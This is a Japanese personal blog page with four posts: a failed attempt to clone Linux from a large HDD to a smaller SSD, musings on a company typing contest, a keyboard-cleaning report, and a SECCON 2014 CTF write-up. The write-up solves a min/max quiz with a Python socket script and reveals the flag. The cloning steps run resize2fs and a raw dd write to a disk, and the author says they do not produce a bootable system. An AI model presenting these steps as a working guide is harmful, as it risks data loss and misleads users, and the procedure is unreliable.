2018年1月4日木曜日

ディスクサイズの大きい HDD 等からディスクサイズの小さい SSD 等への Linux クローン

どうしてもうまく行かない理由が分からないので検証内容のメモ。
500GB 程度の HDD に Linux システムがインストールされている状況で、
256GB 程度の SSD に換装してディスク I/O 性能を上げたい場合の話。
HDD の内容を SSD へクローンして SSD 側からシステムを立ち上げて
元々の HDD はフォーマットしてデータ領域にでもしようとしてなかなかうまく行かない。

前提条件

  • クローン元は /dev/sda1, /dev/sda2, /dev/sda3
    • /dev/sda1 に /, /dev/sda2 に /home, /dev/sda3 は Swap
    • パーティションサイズは大きいが、実際に使用している容量はごくわずかだと仮定
  • クローン先は特にパーティションは存在しない状態
    • /dev/sdb として認識していると仮定
手順

  • クローン元、クローン先をそれぞれパソコンへ接続した状態にする
  • 適当な Linux Live USB とかを起動する(一時作業用 Linux 環境)
  • クローン先の /dev/sdb へ好みのサイズでパーティションを3つ切る
    • /dev/sdb1(/), /dev/sdb2(/home),/dev/sdb3(Swap)
    • /dev/sdb1 は Boot Partition なので、boot flag をセットする(fdisk の a コマンド)
  • partclone でそれぞれのパーティションをクローンする
    • クローン元のパーティションサイズがクローン先より大きいとエラーになる
    • partclone -C オプションでサイズチェックを無視してもエラーで死ぬ
      • そのため、resize2fs でクローン元のファイルシステムをクローン先パーティションより予め小さくしておく
        • # resize2fs -p /dev/sda1 20G
        • # resize2fs -p /dev/sda2 90G
    • # partclone -b -s /dev/sda1 -o /dev/sdb1
    • # partclone -b -s /dev/sda2 -o /dev/sdb2
  • パーティションテーブルを除くブートローダをクローンする
    • # dd if=/dev/sda of=/dev/sdb bs=446 count=1
上記で、/dev/sda の内容が /dev/sdb へ完全にクローンされたはず。
実際にクローン先ディスクのパーティション /dev/sdb1, /dev/sdb2 をそれぞれマウント
して確認してみると、正しくマウントできて中身が見える。
元のシステムでは /etc/fstab のマウントの指定は、すべて UUID ベースでしており
partclone でクローンしたパーティションは例えサイズが異なっていても UUID は同じ値を
保持している為、このまま起動するとどちらのデバイスから上がるか予測できないので
クローン元ディスクを一旦取り外す。
その後、クローン先ディスクのみの状態にしてから起動してみるのだが、
  • Verifying DMI Pool Data ...
と表示され、全く起動してくれない。
なぜうまく行かないのかさっぱりわからない。
どなたかもし上記の検証内容を見て問題点に心当たりがある方はコメント頂ければ幸いです。

英語キーワード検索用: Clone Larger Disk to Smaller

2016年3月31日木曜日

会社でタイピング大会

自分の思考をメモするような感じの投稿です。支離滅裂かも。

会社でタイピング大会をもう一度開催してはどうか?と考えている。

経緯
・去年1度、全員参加(と言っても社員30名程度)でチーム戦タイピング大会を開催した
・IT 系の会社ではあるが、人それぞれタイピング速度は千差万別
・使用したソフトウェアは WeatherTyping で、4人同時ネットワーク対戦と出題ワードのカスタマイズが可能
・東京と福岡の2拠点あり、ネットワーク的に繋いでリアルタイムで対戦出来て、それなりに盛り上がった
・事前に「とにかくなんかワードを募集」とわけのわからないメールを全員に送り、Google スプレッドシートでワードを募集した
・・結果的に、面白いワードがそこそこ集まった
・終わったあと、何人かに感想を聞くと、面白かったから第2回もやって欲しいという声と、ネガティブな反応とあった
・・聞いた範囲内では7割ぐらいはポジティブ反応を返してくれているが、あくまで私が聞けた範囲内の話

という状況で、果たして第2回を開催しても良いのか?皆が負担なく楽しめるタイピング大会を開催することは出来ないのか?を
ちょっと考え中・・・。
前回は、全員を強制参加という形にしてしまったので、一本指打法の人など全く打てない人にとっては苦痛だったのではないかと想像する。
一方、私のようなタイピストが一人居るだけで、出題ワードを一瞬で打ち切ってしまい他の人はほとんど打てないという状況も発生。
タイピングスキルには個々人の力量の差があるのは当然。
今日聞いた意見の中では、ハンディキャップをつければいいじゃないか、という声と、ハンディキャップなんかつけると下記の点で面白くないという指摘あり
・ハンディキャップをつけてもらって勝った場合
・・ハンディがあるからねーと、ハンディのせいにされる
・ハンディキャップをつけてもらっても負けた場合
・・それはそれで、ハンディがあるのに負けた事が悔しい

そもそもどの程度のハンディキャップを WeatherTyping で設定すれば良いのかも未知数である。
ぶっちゃけ、全員参加型のイベントで全員が全員楽しめるイベント等不可能だと考えている。
そうであるならば、全員参加にせずに、やりたい人だけエントリーして、その他の人はお酒でも飲みながら観戦すれば良いと今は思っている。
しかしそうすると、そもそもエントリーする人が居ないという状況にもなる可能性がある。
事前に全員へアンケートを取り、参加したい有志がどの程度居るかチェックし、一定数以下なら開催しないというのが妥当か?
仮に開催するとしたら、前回の出題ワードファイルをそのまま使いまわすのか、またタイピングワードを募集するのか。
2度目なので、前回ほどの新鮮さは無く盛り上がりには欠ける事が想定される。

実力が離れた人同士が当たった場合に、遅い人が1文字ぐらい打っただけで、課題ワードが全部打たれてしまい全くタイピングゲームをやった気にならないという意見ももらった。
では WeatherTyping の設定で、全員が打ち終わるまで待機するオプションを選べば良いのか?というとそれはそれで
遅い人にとってはその人が打ち終わるまでずっと終わらない状況となり、苦痛であろうことが容易に想像付く。

やはり、あまりにも遅い人が参加するのはそもそも難しいイベントなのだと理解。
そうであるなら、やはり立候補制にして有志を募り、その他の人はお酒でも飲みながら観戦がやはり妥当か。

何か、皆で盛り上がれる楽しいタイピング大会の開催の仕方は無いものか?ともやもやしているので
この記事を投稿し、何か良いアイディアがもらえないかを期待してみる。

2015年7月5日日曜日

キーボード(RealForce)を掃除した!

キーボードを徹底的に掃除した。
キートップを全部はずして、キートップ自体は洗濯機で洗濯。
本体側はエアーダスターで吹き飛ばしつつウェットティッシュや綿棒などで汚れを掃除。


















上記画像が掃除前の状態。まだ1年ちょっとぐらいしか使っていないので、外観的には
そこまで汚れがひどいようには見えない。

















上記画像が、KeyPuller でキートップを外した直後の状態。。。
き・・・汚い。。。

外したキートップは洗濯ネットに入れて丸洗い↓

















本体側はエアーダスター、ウェットティッシュ、綿棒等で掃除↓



















完璧には取れなかったが、汚れというよりはキーボード本体側に傷がついていて、その傷が
汚れのように見えているだけのように思う。打鍵が強くて傷ついちゃってるのだろうか。。

本体側を掃除している間にキートップの洗濯が終わったので、タオルの上において乾かし↓


















3時間ぐらいおいてみたが、まだ若干濡れている箇所があったので、ティッシュ等も併用
しつつ1個ずつ綺麗に拭いて本体へ装着。

出来上がった本体↓

















画像だと最初の状態と比べてあまり違いがわからないかもしれない。。
しかし確実に汚れが見えていたので、新品同様に綺麗になったのは確かである。

フラッシュをたいて撮影しても、ご覧の通り綺麗!↓






2014年12月7日日曜日

SECCON 2014 オンライン予選 Writeup

2014/12/6 〜 2014/12/7 で、日本最大のCTFイベントであるSECCON 2014 オンライン予選が
開催されました。

私も自宅から参加させて頂きました。

私が解けた問題の1つについて、僭越ながらWriteupを書かせて頂きます。


Choose the number

Genre Programming
Points 100
Question text 
nc number.quals.seccon.jp 31337

sorry fixed URL
こちらのジャンル「Programming」、ポイント「100点」の問題です。

問題文で提示されたソケットに対してncでアクセスすると、下記の応答があります。

$ nc number.quals.seccon.jp 31337
0, 6
The minimum number? 
Timeout, bye.
$ nc number.quals.seccon.jp 31337
5, 1
The minimum number? 5
Wrong, bye.
$ nc number.quals.seccon.jp 31337
9, 8
The minimum number? 8
-3, -2, 6
The maximum number? 6
0, 5, 7, 0
The maximum number? 7
1, 9, 5, 2, -7
The maximum number? 9
9, 7, -9, 7, -9, 3
The maximum number? 9
0, -1, 8, -2, -5, -6, -7
The maximum number? 8
3, 6, 6, -6, -3, 8, 5, -4
The maximum number? 8
-3, -8, -4, 1, 5, 8, 3, 2, -8
The maximum number? 8
98, 63, 3, -37, 35, -85, 47, 44, 73, -94
The maximum number? 98
-99, 56, 9, -36, -70, 97, -8, -76, -46, 14, -39
The minimum number? -99
-49, 17, 14, -62, -48, 31, 59, -57, 60, 9, 18, -11
The minimum number? -57
Wrong, bye.
提示された数列の中から、最大値もしくは最小値を連続で答えさせる問題です。
手動で進めていくと、だんだんタイムアウトが厳しくなるようで、人間の判断、入力速度では
どうしても最後まで進めない感じでした。

ジャンルは「Programming」であることから、自動的に正解値を送り続けるプログラムを組んで
やれば良いのだと想定出来ます。

まずサーバから送られてくる問題の文字列の規則性を考えてみます。
1. 数列と最小値 or 最大値を聞いてくる文言の必ず2行で構成されている
2. 数列は「, 」と、カンマとスペースで区切られている
3. 数列は問題に正解する毎に数が増えていく
4. 最小値 or 最大値を聞いてくる文言は、「minimum」か「maximum」の2つしか無い
5. 最小値 or 最大値を聞いてくる文言の「minimum」か[maximum」は必ず左から2番目の箇所に存在する

以上から、問題文をParseするのは比較的容易な事が分かります。
また、Parseした結果から正解手を導くアルゴリズムも非常に単純な為、比較的解きやすい問題だと思います。

下記のコードを書いて実行することで、keyが手に入りました。
#!/usr/bin/env python
# coding=utf-8

import socket
HOST = 'number.quals.seccon.jp'
PORT = 31337

def main():
    clientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    clientsock.connect((HOST, PORT))
    while True:
        rcvmsg = clientsock.recv(4096)
        print rcvmsg
        answer = solve(rcvmsg)
        print answer
        clientsock.sendall(answer)
    clientsock.close()


def solve(rcvmsg):
    # parse
    temp = rcvmsg.split("\n")
    str_number_list = temp[0].split(", ")
    max_or_min = temp[1].split(" ")[1]

    number_list = []
    for i in str_number_list:
        number_list.append(int(i))

    if max_or_min == "minimum":
        answer = min(number_list)
    else:
        answer = max(number_list)
    return str(answer)
    
if __name__ == "__main__":
    main()

key: SECCON{Programming is so fun!}

下記、実際にコードを実行した時の実行ログです(長いです)。
2, 8
The minimum number? 
2
5, 5, 0
The minimum number? 
0
-1, 2, 2, -4
The maximum number? 
2
8, 4, 3, -8, 9
The maximum number? 
9
8, -7, 2, -5, 1, 7
The maximum number? 
8
-3, 5, 7, 5, -6, -7, 3
The maximum number? 
7
6, 5, 2, -4, -8, 1, -7, -6
The minimum number? 
-8
4, -3, -5, -9, -5, -1, 4, 7, -9
The minimum number? 
-9
-99, -61, -81, -32, 50, 16, 75, 85, 7, -22
The minimum number? 
-99
82, 30, -28, 10, -23, -92, 27, 16, 14, -92, 78
The minimum number? 
-92
8, 56, -1, -74, -28, 43, -84, -32, -4, -56, 35, -52
The maximum number? 
56
3, 5, 26, -2, -81, 39, -53, 64, 28, 92, -83, -90, 44
The maximum number? 
92
4, 26, -50, 67, -55, 72, -72, -44, -77, -58, 75, 21, 70, 49
The maximum number? 
75
73, 12, -27, 22, 73, -12, 0, -16, 89, 66, 2, -43, -26, -2, -55
The minimum number? 
-55
-72, 5, -47, -80, 45, -3, 73, -95, -85, 58, 89, 22, 61, 60, -75, 27
The minimum number? 
-95
86, -41, -31, -30, 67, 33, 76, -14, 78, 95, 26, 88, -91, -20, 45, 51, 83
The minimum number? 
-91
-68, -47, 60, 85, 1, -17, -92, 94, -33, 47, -64, -76, 87, 21, 84, -8, -86, -14
The maximum number? 
94
18, 50, 9, 41, -26, 40, 39, -83, 7, -96, -45, 41, 47, -87, 28, -30, -70, 92, 8
The minimum number? 
-96
973, -220, -62, -952, -63, -18, 420, 121, 556, 267, -576, -421, 775, 421, 830, -70, 229, 2, 581, 839
The minimum number? 
-952
490, 742, 118, 634, -207, 181, -187, 72, 70, -932, -341, 842, -53, -520, -701, 286, 632, -333, -611, 580, 171
The maximum number? 
842
96, -215, 616, 983, 901, -547, 423, -666, 507, -852, -102, 92, -602, 613, 287, 680, 664, -43, -660, -655, -269, -733
The minimum number? 
-852
-983, 132, 58, 776, 620, -375, -896, 7, 117, -406, -960, 820, 14, 688, -96, -671, 769, 862, -350, -307, 807, -510, -587
The maximum number? 
862
-677, 593, -545, 143, 461, 589, -437, 765, -431, -996, -142, -68, 661, -278, 573, 654, -905, 888, -57, -221, -802, -403, -748, 714
The minimum number? 
-996
593, -525, -209, 878, -244, 850, 617, -507, 418, -191, -901, 983, -441, -968, 45, 879, 402, -640, 963, 727, 991, 707, 45, -469, 596
The maximum number? 
991
165, -136, 600, -857, -379, -627, -52, -69, -817, 735, 321, 252, 39, -816, -506, 500, -170, 403, 880, -608, 706, 30, 244, 268, 863, -361
The minimum number? 
-857
502, -618, -961, -738, -724, -150, -936, 148, -241, -936, -490, -894, 203, -490, -898, -719, -254, -869, 463, 129, -81, 205, -311, -115, 872, -551, -514
The maximum number? 
872
-693, -664, -322, 414, 210, 331, -14, -434, 692, 228, 128, -687, -223, 214, -401, -581, -700, -330, 276, -54, 200, -62, 159, -388, 782, 523, -685, -87
The minimum number? 
-700
-611, 424, 48, 981, 762, -998, 38, -55, 753, 185, 911, -568, 929, 435, -981, 502, 382, -818, -413, 591, -154, 146, -368, -839, -421, 147, -459, 678, -868
The maximum number? 
981
-8810, -5419, 2670, 3952, 3739, 9897, -1463, -1153, 7121, 693, -4601, 3833, 6811, -9081, -3606, -7481, 9380, 3836, 8917, 5313, -9457, 6488, 3271, 2756, -4477, 485, -8194, 861, 9747, 5211
The minimum number? 
-9457
-5153, 8038, 3974, -4020, 729, -6520, 8485, 6850, 1946, 4967, 5733, 2839, 9032, -8029, 5482, -7615, -1149, -7337, 6457, 5541, 6272, -9852, 4237, -4020, -632, -5443, -2562, -9286, -3769, -3793, 805
The minimum number? 
-9852
4080, 7420, -9993, 9320, 8360, 311, 9655, -2352, 8048, -2206, 4645, 8370, 7578, -5085, 7952, -8484, -4174, -1551, 109, 952, 2016, -1058, 4632, 3830, 6009, -7961, -7706, -7664, -9272, 8422, 3787, -6508
The minimum number? 
-9993
-1362, -2633, -3297, -1633, -5546, 2299, -7237, 2868, 614, 6973, -8607, -7434, -3658, 8624, -7814, 2359, 4638, 4684, -6184, -1211, -9787, -7342, 7785, -6957, 6062, -241, 1264, 3412, 1733, -2408, 1543, 2839, 3710
The minimum number? 
-9787
-9474, -3430, -8204, -8179, -751, 5713, -6492, 2580, -6141, 1183, 9724, 1124, 485, 5505, -3398, -5676, -2796, -8413, -8126, 2, -1599, -6930, -8129, 6142, -233, -4941, -6683, -7830, 7286, 8962, 9982, -263, 154, -4973
The maximum number? 
9982
3337, 5329, 3213, -7134, 915, -652, -6245, -1718, -5703, 2449, 1982, -28, -9133, 7447, -5556, 4521, -9956, 7029, 168, 7053, 6749, -7974, 6789, 8898, -1333, -1846, 2531, -227, 8612, 8768, 4245, -1697, 2801, -8806, -9165
The minimum number? 
-9956
-9844, -533, 7432, 6639, 5733, -3660, -5592, 11, 8887, -9300, 3454, 5139, -7432, -9689, -4200, -9631, 2013, 860, 8028, -7690, -8075, -6882, 6409, -4740, 4707, -4585, -378, 1591, -5986, -588, 9261, 2418, -841, -8298, -2700, 5355
The minimum number? 
-9844
-4914, 1407, 895, -6281, -4012, 5441, 485, -3229, 7261, -6244, -4163, 7447, -8616, 5850, 6031, 3742, -8708, -1117, -6342, -8964, -288, 8659, 5474, 3619, -4663, 2825, 6039, 9746, -3231, 1068, -9757, 5260, 1432, 3764, -4084, 1316, -6344
The maximum number? 
9746
-7304, 8213, -3447, -9360, -1810, 2584, -1791, -5483, -994, -1013, -8978, -4533, -5336, -762, 4203, 2216, -3752, 4594, -8615, 5969, -1554, 1734, -8508, 2974, -2891, -2230, 7976, -6601, 2688, -690, 3576, 2553, 3657, 2178, -3090, 3584, -7077, 6315
The maximum number? 
8213
6352, -6365, 5038, 9629, -7282, -873, 2428, -4293, -365, -495, -6447, -8939, 413, 9859, -6781, -4974, -6982, -5632, -7266, -4503, 454, -8464, -878, 6943, 6620, -4350, 3740, 9477, 5669, -2904, -2520, 6179, -7709, 4006, 1908, -9365, 2824, 9832, -815
The minimum number? 
-9365
-53091, -31854, -31727, -23096, -17001, -29422, -70811, 85490, 96198, 72248, 35170, -63874, -2875, 35273, 65278, 59231, 31689, 96875, -60633, 70760, 2050, 95740, -93019, 61112, 2095, 71188, 20806, 26900, -62330, 22324, 49399, -20135, 41836, -75361, -39880, 21531, -14050, -98541, -27141, 60385
The minimum number? 
-98541
-18796, 66757, 67890, -17845, 67300, 27896, 52532, 32456, -69232, 65678, -84084, 56588, 84724, 48991, 3544, 79597, 1539, 50632, 70919, 69039, -71031, -4740, 45430, -97280, 47767, -43709, 89393, -77203, 5000, 518, -83005, 88181, -87120, 18095, 14553, -76909, 32596, -38304, -57177, -9561, -50570
The minimum number? 
-97280
60548, -76778, 69676, 95420, -56994, 20520, -82570, 13389, 69832, -89324, 93373, 56027, -8126, 64692, -80692, -95116, -19503, -58902, 93705, -63155, 48658, -60158, 32548, 24177, 40315, -11384, 7511, 53689, -4944, -50576, 45991, 88764, 81485, -37295, 34172, -26714, 3613, 81803, -25295, 65470, 78401, -4131
The minimum number? 
-95116
76921, -42583, -83959, 53490, 38397, 36638, -80235, 2558, -84312, 43066, 91199, 73801, -6494, 44555, -97880, -36098, -45357, -34090, 11749, -19847, 2739, -95487, 5937, 23954, -11942, 38715, 9912, -75952, 97533, 26115, 9716, -49783, 88750, -82225, -99915, 40998, 57943, -75168, 52044, 99605, 79395, 78833, 6273
The minimum number? 
-99915
-34422, -80706, -12935, -48709, -84985, -49603, -57829, 78125, 10074, 80531, 14714, 76047, -50061, -79251, 27636, 46874, -65660, 90252, 40838, -55723, 23798, 2499, -61846, 87499, 58587, -82464, -31829, 24591, 92748, 10419, -40443, 16708, -63004, -91192, 78504, 13448, 90757, 95810, 886, 40260, -31333, -73158, -66617, 86642
The maximum number? 
95810
-51540, 26154, 93872, -43716, 16276, 33729, 14422, 57849, -48415, 84739, -71439, -95673, 66852, -71265, 2177, -48218, -48509, 2570, -9055, 63074, 93994, -47455, -87673, 99523, -33978, 10712, 45351, -85498, 88537, 33745, -57910, 98097, -13090, -64377, 45404, -48860, -43477, -39194, -73991, -16657, -79955, 3564, -5064, -64800, 47643
The maximum number? 
99523
-75856, -44293, 46526, 87814, -2049, -6148, -33513, -30827, -27879, -74444, -31267, -63180, 37650, 4571, -42687, -20503, -87259, 5810, -60028, -16663, -18541, 41891, 52545, -93542, -99272, 62309, -11287, -46284, -53502, -98696, 93103, 63781, 72519, 54612, -7846, 29968, -26166, -69720, 35624, 14367, 90898, -42294, 26663, 42116, 92955, -61536
The minimum number? 
-99272
-99604, 28699, -65382, -99163, 20586, -84676, 92388, 78258, -86211, 78451, -48997, -70389, 18594, -51482, -27622, -61728, -72219, -58910, -70066, 41004, 25720, 40135, 26782, -32016, 50167, -70551, -12895, 95699, 73532, -17445, 85593, 75142, -70136, -98989, -32350, 78705, -66449, 67962, 20736, 77516, -40864, 93207, 71756, 42834, 72212, 49408, 92320
The minimum number? 
-99604
-61530, 60784, 18626, -48500, 10757, -11352, -77810, 68607, 83089, -44586, -59900, 6873, -37381, 28510, 89725, 47441, -26490, 95417, -33693, 91626, 77664, -53681, 29865, 45884, 14767, -7859, 87393, 94813, 21027, -81880, 30185, 31681, 69846, -10079, -17135, -62179, 96611, -88714, -9253, 70660, 32124, 13400, -38690, -50179, -78287, 64142, -77782, -53524
The minimum number? 
-88714
21804, -98801, 27320, -15076, -33220, 81675, 18839, -48379, -54225, -74581, -28266, 31765, 48498, -35149, -17759, 45873, 70121, 81683, 99328, 17849, -44208, 64497, -79675, -60818, 51400, -7610, 70156, 30421, -69094, 43944, -51772, 20484, -64794, 27201, -50990, -19074, 36577, 68187, 87606, 74885, 71585, 73684, -53592, -9784, 62975, 72446, 65405, -31942, 135
The minimum number? 
-98801
395941, -4740, -579673, -820309, 796405, -144683, 671286, -199883, -631137, 308499, -607512, 887702, 616150, -832770, 147458, -951737, -664280, -609024, -650652, -36978, -810141, 486556, -896047, 146978, 113346, 306402, -856846, 464554, 173196, -333137, -259665, 688682, -560918, -722427, -757120, 579235, -598308, -383949, -228099, -309465, 888201, -476709, 464268, -584000, 182164, 305715, -670920, -167740, 147320, 497355
The maximum number? 
888201
909078, 344712, -628808, 696750, 316908, -268532, -474974, -126595, 161302, 77274, -275247, 110044, 990383, 462000, 480545, 632362, 256694, 326286, 780883, -57386, 747055, 464966, 440422, -821376, -937169, -28412, -702400, -440009, 977291, 302989, 258605, -246212, -931878, -957816, 415879, 504172, 287531, -203177, -748317, 915753, -27507, 207693, -248427, -579162, 705488, -211934, -46226, -825784, -654200, -430969, 277373
The minimum number? 
-957816
896198, 401478, -12374, 844493, -278009, -586465, 820959, 348438, -482138, 701221, -320425, 195357, -217466, -506628, 54673, -379616, 572514, -234636, -21976, 87111, -303031, 324661, 746522, 532104, -756378, 454779, -287486, -142840, -253196, 438521, -357996, -557108, -668830, 37637, -432108, -546649, 216353, 10271, -831523, 94943, -393443, 272577, 610244, 968146, 200416, 609446, -727741, -547349, 510103, -807471, 995055, 238363
The maximum number? 
995055
395917, -736823, 967051, -992220, 472731, 592879, -316305, -812723, 639523, 777647, 662309, -896456, -745956, -162254, 114936, -110178, 618382, -593284, 482605, 100208, -131908, -724521, -348732, -84528, 181933, -851160, -974335, 574407, -757045, -974927, -259949, 153249, -570209, 390875, 108705, -501134, -589625, 3272, -462587, -454081, 610808, 700013, -590666, 94598, -752135, -323719, -380020, 802216, -857372, 565893, -971700, 886622, 134298
The minimum number? 
-992220
-427389, 79179, -267968, 677712, -521708, 430732, 918321, -506197, 331674, -37765, 43009, -705969, 197269, -102458, -145287, 999673, -143710, -811533, 310593, 866257, 38564, 869302, -696181, 487935, 511662, -299222, 308364, 237636, -415673, -715529, 557693, 794325, -558410, 436543, 871644, -841967, 819886, -878183, -496432, 445434, -736732, 278352, -187060, 960884, 963396, 910305, 734036, -66847, -309052, -72476, 160618, -895880, 805647, -391988
The maximum number? 
999673
629861, 370993, 494856, -935711, 662382, 491921, -520864, 832472, -283217, 274876, -229518, 350847, -367566, 518488, 84897, 210475, -15808, 848396, 383946, -702103, -851849, -27116, 295528, 761103, 241421, -991114, -721214, 629716, 911266, -279483, -505561, -128978, 396272, 322680, -88445, 663252, -993181, -278601, -763822, -559146, -533592, -563052, -419856, 183907, -527632, 843793, -726392, 769900, -180838, -913949, -560352, -129957, -236978, -493161, -712024
The minimum number? 
-993181
256463, 136684, -276223, 501479, -241982, 865341, -523785, -946586, 930780, -545274, 535941, -965895, -815361, 666784, -188936, -146199, -655707, 556797, 838754, 473801, -167424, -804846, -33647, 345046, 24675, -314705, 627236, -343028, -128475, 803305, -331273, -972436, -271736, 440752, 202629, 824906, 758770, -9756, -123493, 590848, -555979, -10086, 279920, 715268, -610399, 522723, 891673, -525508, -626670, 315671, 400529, 221144, -173736, 318611, 260217, -79788
The minimum number? 
-972436
220964, -743862, -210516, 323140, 983806, -703292, -5410, 179363, 956447, 115407, 622811, 931538, 964006, -603474, -948711, 338903, -492552, -839302, -21318, -464615, 210872, 244694, 468544, 416482, 427612, 81320, 849086, 572375, 451904, 189746, 729676, 353814, -692396, 36118, 66648, -528166, 952761, -347055, 898861, 312608, -728383, 451563, 258489, -843558, 395328, -407974, 746191, -68985, 27234, -189946, 399907, -50688, 101273, -678727, -557033, -509686, 212179
The maximum number? 
983806
134514, -968050, 483962, -173352, 205142, 604721, -104845, -539107, -991878, -647543, -846786, 890888, 233836, 626872, -137658, 745872, -377323, -329565, -396119, 714754, 407756, -112383, 62396, -783913, 744219, 343141, -908006, 584058, 71495, -971950, 124463, 596936, 635691, -500049, -189246, 713757, 396821, 862057, -749132, 294060, 638233, -485071, -962950, -627512, 124589, -687525, 657622, 606423, -964582, -964182, 979739, 89130, 659704, -226830, 907859, -442352, -897265, 468733
The minimum number? 
-991878
-808038, -511454, 769044, -832791, 720889, 891591, 938860, 510700, -959071, 794632, 93863, 45561, -915535, 249199, 803926, -209996, 23654, -715464, -655157, -160220, 531521, 832401, -674588, -466207, 591674, 162487, -108933, 246376, -868122, -276188, -254876, 317361, -982777, 230248, 306760, -935094, 791997, 973835, 297100, -241465, -851149, 299415, -253647, -959280, 360242, -189111, 94770, 936712, -535339, 473669, -853654, 973559, -630640, 857831, -474566, 554547, 673084, 752454, 54791
The maximum number? 
973835
-4113245, -5758466, 9863886, 7337536, 3054599, -1036256, 5751471, 8148534, 4037533, -6271454, -6542457, -3234391, -5204157, 7261382, 8312459, -2780142, -3278397, -3887137, 6536072, -4187801, 6115312, -8550019, -3382672, 1448783, 3003885, 7336097, -2445089, -3886916, -3291605, -5806287, 1621171, -689587, -4628675, 7687771, 2651225, -958731, -743415, 9466952, 3510397, -4568012, -6676751, 5337024, 6102532, -3452618, 8425736, 5782166, 1149466, 7307199, 7425739, -8522127, 3102938, 858138, 2921756, 9093998, -6767686, 5570401, 440947, -3598469, -1722165, 2374232
The minimum number? 
-8550019
6762023, 4460742, -511316, -8158006, 1808426, -2204633, 890372, 202104, -228838, 5147749, 7835171, 3350535, 2351072, 7860634, -7326929, 8451781, 2191753, 2385800, 7636052, 6741001, -9358173, -651751, 878840, -3990584, -5006680, 5261833, 2767664, 2441050, -7015153, 9826068, 1003129, -950328, -1625858, -6212417, 5738406, -2015414, 6786683, 5650242, -8367123, -372217, -6200562, 8937799, 4076271, 3258164, 3611964, -9982808, 2366365, 8209058, -3499844, 5391237, 5431376, -9098749, -566270, -9952101, -8350414, 4621687, -8660695, 5689753, -9715261, -170153, 5281707
The maximum number? 
9826068
4156959, -302519, 3571240, -1273891, -7319754, 7439024, 3930445, 4766308, 415978, 6280474, -4650303, 9491259, -9329416, 9527744, -8276925, -6282019, -5870953, -7105612, -3068345, -5848146, -8913922, -6226556, -1881410, 3772713, 3035617, -7781024, 5365288, 6498895, -3464908, 9284571, -4395752, 7725627, 8819672, -6340577, -8074963, 9120068, 8996248, -1651935, 6137468, -1747915, -9511018, -1842933, -9746896, 3999998, -6162417, -3200875, 4581271, -7103448, 4933561, -4083854, 4582664, -6961368, 1832238, 9586404, 7823098, -7471633, -5972041, -5324206, 6401384, 3629115, -9012671, 5900137
The minimum number? 
-9746896
-1898589, 8874636, -1649397, 4497536, -151330, 288847, -6112714, -5750744, 2015234, 7538043, 2208530, 2905393, 613361, -698359, 5392669, -5772934, 2403036, -6660655, -322778, 1493074, 9591133, 9034466, 5847518, 1946312, 1110881, -5681159, 2730394, 9329700, -3916554, -6341441, -5862760, 6539642, 8226383, 6697026, 9398340, -6087266, 5733577, -8931735, 6141162, -5097734, -3953323, 9860837, -4191492, -1073364, -1202058, -5824220, -858507, -9733047, -1332239, -8448507, -5799227, -1190990, -555048, -7821904, 3767975, -4056901, -3447732, -2898689, 1072930, -1612275, -5861147, -5104810, -7555846
The maximum number? 
9860837
-8341347, 3696462, -6592289, 9093432, 7309110, 5336728, 2119238, -945246, -4093852, -7844850, -6885148, 8903347, -7813210, 3018307, 1703595, 1685865, -4479061, -9521190, 784438, 3490022, -3445157, -407912, 5256261, 1760730, 9199148, 74250, 7145815, -9618983, -1834206, -1226497, -2331397, 4430367, -6191604, 9766546, 6710818, -5069152, 6030039, -5344300, 3836776, 6954070, 1776989, 6623486, 5110132, 4901294, -5195052, -8713838, 4701821, -3545834, 3749487, 5507577, 2336351, 3483673, -1510739, 4490873, 1897031, 7522073, 365193, -7950286, -2211402, 162659, 851709, 2459765, 5439602, 8994132
The minimum number? 
-9618983
9935494, -3290432, -7960830, -228127, -5988704, -5494538, 1514576, 4189642, 3385246, 2250817, -9949925, -458275, 6971496, -8486815, -305412, -3311404, 1181151, 1535915, 4841322, -8512218, -5602931, -7676134, -8778629, -8640355, -9086861, -1287038, -1613062, -8369106, 6525244, -8599104, 4637333, 3114911, -2396098, -5828388, -9742118, -1231083, 564755, 3468390, -9727098, 2863694, 1051599, 2561177, -6215580, 2913093, 4049065, 2955811, -1409190, -1278949, -521037, -3681667, 1957019, -5755444, -9542547, -9123194, 6646141, 5407270, 570819, 3261758, -3229621, 384023, -2504522, 2335414, -3305896, 9993119, 4801165
The minimum number? 
-9949925
6883026, 2808914, -8589855, -4743364, -6579457, 1953849, -7278369, 2162501, -1958721, 22579, -3291217, -1178020, -966544, -7787188, 8532761, -8497128, -6802893, -6570356, -7852482, -3528185, -4316292, 7539250, 6964273, 2212915, 495053, 7324576, -9369660, 4398359, -1332615, 9172910, -2579386, 6113983, -7672134, 2767638, -9051711, 5563535, 2355699, 7255626, 4778059, -9283771, -1377045, 7070068, 5342316, -811561, -9583700, -1311091, -2289116, 2733077, 3490104, -7224386, -528526, -7382804, 2181999, -7857949, 4410200, -4868548, 6613257, -6176315, -1301717, 7786522, 9118373, 1036300, -3100723, -1814608, -1984629, 8326892
The maximum number? 
9172910
-2437258, 320785, 8346371, 4809969, -9827461, -6330497, -9746126, 6035129, -1262415, -2850621, 8657262, -1746968, 9260428, 1820093, 2075474, 3902335, 7176396, 3083567, 4483675, 1921117, 1871412, -5196071, 2957422, -3153843, -3584585, -8341691, 6264661, 7754637, 7094389, 4362610, 162798, -8205288, -2032640, 6325423, 7584274, -4655657, 7230060, -2170325, -9901637, -3291411, 186318, 1601704, -3035786, 6967689, 3904369, -2073948, 809594, 7918391, -4624217, 9589580, 2862970, -7518088, -4420079, -6467951, 4284174, 1192347, 5722673, 1724363, -461055, -1919050, -9166352, -8278852, 480299, -6514430, -9136804, -3657101, -3640490
The maximum number? 
9589580
-2529917, -6374278, -9143584, 7090627, -3572578, -5104678, 1174358, 9160938, -9273643, -7384410, 7838555, -5498888, 5037647, 1803957, 3111724, -9152813, -7855294, 5244680, -1712986, -2016111, 2728787, -1001051, 8481241, 7267814, 9724627, 9317156, -592624, -5743180, 20769, 6798131, -9482303, 1054920, -4409555, 9926118, 7310035, -2567978, -1783666, -1910065, 4279881, 7547884, 9690133, 7760913, 5356770, 4578752, 4972723, 1125274, -3937651, 6691353, -223716, -6677488, 1162554, -9535039, 3018440, 8657632, 9869392, -2208365, -641067, -8432657, -675875, -9074380, -9461790, 6611446, -1610215, -1672825, -5789802, -9648133, -7974685, 4494130
The minimum number? 
-9648133
